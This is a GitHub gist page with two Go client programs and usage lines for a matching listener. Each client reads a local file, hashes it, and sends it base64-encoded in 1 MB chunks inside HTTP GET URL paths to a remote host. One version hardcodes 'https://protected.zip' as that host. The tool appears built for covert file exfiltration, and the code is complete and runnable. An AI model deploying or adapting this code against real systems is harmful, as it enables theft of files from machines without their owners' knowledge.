Last active
August 12, 2023 18:48
-
-
Save yosignals/4ba99d5da6a9efbb7770203346c21e78 to your computer and use it in GitHub Desktop.
this listens at the webroot and collects incommng requests, for /filename.ext/chunk_of_base64, until the sha1 in the first request is met
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Server | |
./your_program DISK <cert_path> <key_path> <server_address:port> | |
./your_program RAM <cert_path> <key_path> <server_address:port> | |
Client | |
./client /path/to/your/file.ext https://domain.com |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"crypto/sha1" | |
"encoding/base64" | |
"encoding/hex" | |
"fmt" | |
"io/ioutil" | |
"log" | |
"net/http" | |
"os" | |
"path/filepath" | |
) | |
const ( | |
chunkSize = 1024 * 1024 // Adjust the size as necessary. This example uses 1MB. | |
) | |
func calculateSHA1(filePath string) (string, error) { | |
data, err := ioutil.ReadFile(filePath) | |
if err != nil { | |
return "", err | |
} | |
hash := sha1.Sum(data) | |
return hex.EncodeToString(hash[:]), nil | |
} | |
func sendInitRequest(filename, sha1Hash, serverURL string) error { | |
resp, err := http.Get(fmt.Sprintf("%s/init/%s/%s", serverURL, filename, sha1Hash)) | |
if err != nil { | |
return err | |
} | |
defer resp.Body.Close() | |
if resp.StatusCode != http.StatusOK { | |
bodyBytes, _ := ioutil.ReadAll(resp.Body) | |
return fmt.Errorf("server returned an error: %s", bodyBytes) | |
} | |
return nil | |
} | |
func sendDataChunks(filePath, filename, serverURL string) error { | |
data, err := ioutil.ReadFile(filePath) | |
if err != nil { | |
return err | |
} | |
for i := 0; i < len(data); i += chunkSize { | |
end := i + chunkSize | |
if end > len(data) { | |
end = len(data) | |
} | |
chunk := data[i:end] | |
encoded := base64.StdEncoding.EncodeToString(chunk) | |
resp, err := http.Get(fmt.Sprintf("%s/data/%s/%s", serverURL, filename, encoded)) | |
if err != nil { | |
return err | |
} | |
defer resp.Body.Close() | |
if resp.StatusCode != http.StatusOK { | |
bodyBytes, _ := ioutil.ReadAll(resp.Body) | |
return fmt.Errorf("server returned an error during chunk transfer: %s", bodyBytes) | |
} | |
} | |
return nil | |
} | |
func main() { | |
if len(os.Args) < 3 { | |
log.Fatalf("Usage: %s <file_path> <server_url>", os.Args[0]) | |
} | |
filePath := os.Args[1] | |
serverURL := os.Args[2] | |
filename := filepath.Base(filePath) | |
// Calculate SHA1 | |
hash, err := calculateSHA1(filePath) | |
if err != nil { | |
log.Fatalf("Error calculating SHA1: %v", err) | |
} | |
// Send init request | |
if err := sendInitRequest(filename, hash, serverURL); err != nil { | |
log.Fatalf("Error sending init request: %v", err) | |
} | |
// Send data chunks | |
if err := sendDataChunks(filePath, filename, serverURL); err != nil { | |
log.Fatalf("Error sending data chunks: %v", err) | |
} | |
fmt.Println("File transmission completed!") | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"crypto/sha1" | |
"encoding/base64" | |
"encoding/hex" | |
"fmt" | |
"io/ioutil" | |
"log" | |
"net/http" | |
"os" | |
"path/filepath" | |
) | |
const ( | |
serverURL = "https://protected.zip" // Replace with your server address | |
chunkSize = 1024 * 1024 // Adjust the size as necessary. This example uses 1MB. | |
) | |
func calculateSHA1(filePath string) (string, error) { | |
data, err := ioutil.ReadFile(filePath) | |
if err != nil { | |
return "", err | |
} | |
hash := sha1.Sum(data) | |
return hex.EncodeToString(hash[:]), nil | |
} | |
func sendInitRequest(filename, sha1Hash string) error { | |
resp, err := http.Get(fmt.Sprintf("%s/init/%s/%s", serverURL, filename, sha1Hash)) | |
if err != nil { | |
return err | |
} | |
defer resp.Body.Close() | |
if resp.StatusCode != http.StatusOK { | |
bodyBytes, _ := ioutil.ReadAll(resp.Body) | |
return fmt.Errorf("server returned an error: %s", bodyBytes) | |
} | |
return nil | |
} | |
func sendDataChunks(filePath, filename string) error { | |
data, err := ioutil.ReadFile(filePath) | |
if err != nil { | |
return err | |
} | |
for i := 0; i < len(data); i += chunkSize { | |
end := i + chunkSize | |
if end > len(data) { | |
end = len(data) | |
} | |
chunk := data[i:end] | |
encoded := base64.StdEncoding.EncodeToString(chunk) | |
resp, err := http.Get(fmt.Sprintf("%s/data/%s/%s", serverURL, filename, encoded)) | |
if err != nil { | |
return err | |
} | |
defer resp.Body.Close() | |
if resp.StatusCode != http.StatusOK { | |
bodyBytes, _ := ioutil.ReadAll(resp.Body) | |
return fmt.Errorf("server returned an error during chunk transfer: %s", bodyBytes) | |
} | |
} | |
return nil | |
} | |
func main() { | |
if len(os.Args) < 2 { | |
log.Fatalf("Usage: %s <file_path>", os.Args[0]) | |
} | |
filePath := os.Args[1] | |
filename := filepath.Base(filePath) | |
// Calculate SHA1 | |
hash, err := calculateSHA1(filePath) | |
if err != nil { | |
log.Fatalf("Error calculating SHA1: %v", err) | |
} | |
// Send init request | |
if err := sendInitRequest(filename, hash); err != nil { | |
log.Fatalf("Error sending init request: %v", err) | |
} | |
// Send data chunks | |
if err := sendDataChunks(filePath, filename); err != nil { | |
log.Fatalf("Error sending data chunks: %v", err) | |
} | |
fmt.Println("File transmission completed!") | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment